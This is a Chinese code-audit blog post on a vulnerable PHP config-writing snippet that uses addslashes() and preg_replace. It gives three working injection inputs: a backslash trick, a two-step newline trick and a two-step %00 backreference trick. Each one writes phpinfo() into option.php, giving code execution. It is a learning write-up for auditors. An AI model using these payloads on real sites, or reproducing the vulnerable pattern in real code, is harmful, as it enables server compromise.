1. 程式人生 > >一個PHP正則相關的“經典漏洞” preg_replace

一個PHP正則相關的“經典漏洞” preg_replace

https://www.cdxy.me/?p=756

小密圈《程式碼審計》中看到P神發的“經典漏洞”,關於寫配置檔案這個功能點。

問題程式碼

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);

?>

輸入經過addslashes()處理過之後經匹配替換指定檔案內容。

解法1 利用反斜線

輸入\';phpinfo();//

\'經過addslashes()之後變為\\\',隨後preg_replace會將兩個連續的\合併為一個,也就是將\\\'轉為\\',這樣我們就成功引入了一個單引號,閉合上文註釋下文,中間加入要執行的程式碼即可。

看來是preg_replace函式特性。經測試,該函式會針對反斜線進行轉義,即成對出現的兩個反斜線合併為一個,以前不知道這個點(跟進)。

本地測試環境:PHP 5.4.45 + Windows + Apache

解法2 利用正則

過程分為兩個請求:

第一次傳入aaa';phpinfo();%0a//

此時檔案內容

$option='aaa\';phpinfo();
//'
;

第二次傳入隨意字串,如bbb正則程式碼.*會將匹配到的aaa\替換為bbb

此時檔案內容(成功寫入惡意程式碼)

$option='bbb';phpinfo();
//';

解法3 利用%00

仍然分為兩步。

第一次傳入;phpinfo();此時檔案內容為:

$option=';phpinfo();';

第二次傳入%00

%00addslashes()轉為\0,而\0preg_replace函式中會被替換為“匹配到的全部內容”,此時preg_replace要執行的程式碼如下

preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);

也就是

preg_replace('|\$option=\'.*\';|'
,"\$option='$option=';phpinfo();';';",$file);

成功引入單引號閉合,最終寫入shell

$option='\$option=';phpinfo();';';

Ref

小密圈:《程式碼審計》
@Dlive
@L3m0n
@該隱
@phith0n